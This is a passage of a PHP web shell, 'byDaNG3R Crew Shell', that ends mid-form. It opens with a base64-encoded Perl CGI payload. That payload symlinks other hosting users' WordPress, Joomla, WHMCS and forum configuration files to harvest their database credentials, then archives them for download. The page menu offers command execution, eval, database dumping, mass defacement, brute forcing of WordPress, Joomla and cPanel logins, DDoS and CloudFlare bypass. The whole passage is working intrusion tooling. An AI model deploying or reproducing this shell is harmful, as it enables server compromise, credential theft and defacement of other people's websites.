$configshell = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\'; 
?>
<html><head><link rel="SHORTCUT ICON" href="http://i.hizliresim.com/GnEgpN.jpg"><title> byDaNG3R Crew Shell </title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = \'none\';
	document.getElementById(baru).style.display = \'block\';
}
</script>
<style type="text/css">
body{
	background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #FF0000;
}
*{
	font-size:11px;
	font-family:Tahoma,Verdana,Arial;
	color:#FFFFFF;
}
#menu{
	background:#6a0707;
	margin:8px 2px 4px 2px;
}
#menu a{
	padding:4px 18px;
	margin:0;
	background:#c40909;
	text-decoration:none;
	letter-spacing:2px;
	-moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
}
#menu a:hover{
	background:#6a0707;
	border-bottom:1px solid #c40909;
	border-top:1px solid #c40909;
}
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #c40909;
}
.main {
	width:100%;
}
.gaya {
	color: #FF0000;
}
.inputz{
	background:#6a0707;
	border:0;
	padding:2px;
	border-bottom:1px solid #c40909;
	border-top:1px solid #c40909;
}
.inputzbut{
	background:#6a0707;
	color:#FF0000;
	margin:0 4px;
	border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #FF0000;
	border-top:1px solid #FF0000;
}
.output {
	margin:auto;
	border:1px solid #FF0000;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.cmdbox{
	width:100%;
}
.head_info{
	padding: 0 4px;
}
.jaya{ font-family: ;}

.b374k{
	font-size:30px;
	padding:0;
	color:#444444;
}
.b374k_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #c40909;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0;
}
.phpinfo td{
	background:#6a0707;
	color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
	background:#6a0707;
	border-bottom:1px solid #c40909;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
	text-align:center;
	font-size:16px;
	padding:0;
	margin:30px 0 0 0;
	background:#c40909;
	padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #c40909;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #FF0000;
}
.explore tr:hover{
background:#6a0707;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style></head>


<body onLoad="document.getElementById(\'cmd\').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table ><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k"><img src="http://i.hizliresim.com/GnEgpN.jpg" /></span></a></td></tr><tr><td><b></b></td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<center><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>"><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxQ2GRnu/TgAAAJzSURBVDjLtZLPSxtBHMXf5semZDfS7KpIaWzRShoFD5UK9h6ai5eCPfZkwYJ4kF566a30H0gF24BUqDdjBT1VCFIsNBUWEw+ha2obpDGUXGR1Z7KZ+fbQRky1vfULAzPD4/MeMw/4H7O6ugoAsG17tFwuJwFgd3f3Qq3yN0g+n7+r6/oKgEtQMDWYGHx5kc539rC4uAgA2Hy/OaGq6oplWaVcLmdxxl9YlvUEALa2tv6dYGPjXSoS6chWKpWKaZpdoVBIL5VK+0NDQ/1END02NjZ/LsHc3BwAYG1tbSIYVLOFQuGzpmldgUDAkFKqvb2917a3t23GWDqXyz0BgPX19fYEy8vLKV3XswcHBxXDMLoikYghpaRW0kajwfbK5W834/F+ANOpVGr+FLC0tHRf0/TX+/tf7J6eniuappkA6IwBtSC2bX9NJBIDRPT05OTkuTL1aKpj9Pbox1qtdmgYxlXTNG8QEV3wPgRAcV23bllWfmRkZNh13VuKpmnBvr6+O1LK2szMzNtwOBxviYUQUBQFPp+vBYCU8jCTyaSOj48vA/hw6jI+Ph5JJpOfwuFwnIjAGKsvLCw8cxxHTE4+fGwY0RgRgYi+O44zPDs7W2/rgeu6CmMMjDFwziGE+JFIJF5Vq9VMs+kdcs7BOQdjDEdHR6fGgdZGCAHOOfx+P4gIQggZjUaps9OkRqNBjDHQr1E8z8M5QLVaheM4TZ/fBxDQbDZVz/MgJYFzHlRVFURQms2GqNfr4qIm+mOx2L3u7u5hKSVCIXVPSvGmsFNUBuLxB8FA4DoAeJ63UywWswBk2x+l0+kW0P97KX80tnXfNj8B5NE5DOMV2T0AAAAASUVORK5CYII=\' height="18" width="34"></a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=sql">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=dump">Database Dump</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">Php Info</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=netsploit">Net Sploit</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mail">E-Mail</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=sqli-scanner">SQLI Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=port-sc">Port Scan</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=dos">DDos</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=tool">Tools</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=python">python</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=symlink">Symlink</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=config">Config</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass">Bypass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi">CgiShell</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cgi2012">CGI Telnet 2012</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jodexer">Joomla IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=vb">VB IndChange</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wp-reset">Wordpress ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jm-reset">Joomla ResPass</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=whmcs">WHMCS Decoder</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone">Zone-H</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wpbrute">Wordpress BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jbrute">Joomla BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=brute">Cpanel BruteForce</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=bypass-cf">Bypass CloudFlare</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=adfin">Admin Finder</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=hash">Password Hash</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=hashid">Hash ID</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=string">Script Encode</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=whois">Website Whois</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jss">Joomla Server Scanner</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cms_detect">Cms Detector</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=about">About</a>
<a href="?<?php echo "y=".$pwd;	?>&amp;x=logout">Log-Out</a>


</div></center>
<!-- menu end -->

<?php
@ini_set(\'display_errors\', 0);
if(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'php\')){ ?>
<form action="?y=<?php echo $pwd; ?>&amp;x=php" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="cmd" id="cmd">
<?php
